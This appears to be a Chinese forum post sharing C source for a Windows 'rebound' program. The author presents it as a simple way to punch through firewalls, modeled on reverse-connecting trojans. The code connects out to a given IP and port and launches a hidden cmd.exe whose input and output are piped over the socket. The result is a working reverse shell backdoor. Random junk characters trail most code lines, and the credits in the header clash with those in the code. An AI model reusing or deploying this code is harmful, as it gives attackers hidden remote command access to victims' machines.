这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @$@mqHI}
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/* ============================== vlWw3>4
Rebound port in Windows NT fp>.Owt%.
By wind,2006/7 B)SLG]72f
===============================*/ vFmJ;J
#include vxlOh.a|/L
#include wzcai
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#pragma comment(lib,"wsock32.lib") v[k5.\No
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void OutputShell(); Mio>{%/
SOCKET sClient; g9h(sLSF
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 25{ uz
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void main(int argc,char **argv) }2>"<)
{
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WSADATA stWsaData; p
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int nRet; P @%.`8
SOCKADDR_IN stSaiClient,stSaiServer; x ,/TXTZ6
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if(argc != 3) YrI|gz)
{ R""%F#4XJ2
printf("Useage:\n\rRebound DestIP DestPort\n"); %uESrc-;
return; *e.*=$
} ;]D(33)(
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WSAStartup(MAKEWORD(2,2),&stWsaData); D}mL7d1
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QOFvsJ<s
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stSaiClient.sin_family = AF_INET; >O`l8tM
stSaiClient.sin_port = htons(0); eBW=^B"y+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Jcf"#u-Q/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) X~T/qFS
{ C"<s/h
printf("Bind Socket Failed!\n"); TvhJVVQ+?
return; N0TeqOi4Y
} Iq5pAHm>M6
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stSaiServer.sin_family = AF_INET; 6Y*;{\Rd
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 70W"G
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Va<HU:<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0NE{8O0;Fr
{ ~ 9o6 W",
printf("Connect Error!"); 7v~j=Z>
return; ZXiRw)rM
} 2OBfHO~D
OutputShell(); m9$:9yRm
} D9ufoa&ua
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void OutputShell() a=]Wzlz
{ LgqGVh3\s
char szBuff[1024]; 3!9Z=-tD
SECURITY_ATTRIBUTES stSecurityAttributes; ^JeMuU
OSVERSIONINFO stOsversionInfo; h BMH)aU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eQN.sl5
STARTUPINFO stStartupInfo; JNU/`JN9f
char *szShell; I2Ev~!
PROCESS_INFORMATION stProcessInformation; n2-0.Er
unsigned long lBytesRead; Pe7e?79
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 'Z!Ga.I
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); f[~1<;|-
stSecurityAttributes.lpSecurityDescriptor = 0; -E>)j\{PX7
stSecurityAttributes.bInheritHandle = TRUE; A*]$v
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x"B'zP
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Utl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P_4DGW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lubrn"128
stStartupInfo.wShowWindow = SW_HIDE; cnNOZ$)
stStartupInfo.hStdInput = hReadPipe; v"lf-c
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gT52G?-
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GetVersionEx(&stOsversionInfo); 6qp5Xt+
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switch(stOsversionInfo.dwPlatformId) )/t6" "
{ F@W*\3)
case 1: '5.\#=S 1
szShell = "command.com"; }0/a\
break; F1W+o?B
default: )c<6Sfp^B
szShell = "cmd.exe"; aq>?vti1D
break; M@7Xp)S"
} {[#(w75R{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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yY=<'{!
send(sClient,szMsg,77,0); c[(Pg%
while(1) n~r 9!m$<
{ wq0aF"k
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N +Sq}hI
if(lBytesRead) s;.=5wcvi?
{ Z5)eREi=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1"E\C/c
send(sClient,szBuff,lBytesRead,0); F+aQ $pQ
} :F(9"L
else LJuW${Y
{ 8C&x MA^
lBytesRead=recv(sClient,szBuff,1024,0); 9C}qVoNu
if(lBytesRead<=0) break; {U @3yB
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &"S/Lt
} ?l6jG
} aC\4}i<
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return; :=!Mh}i
}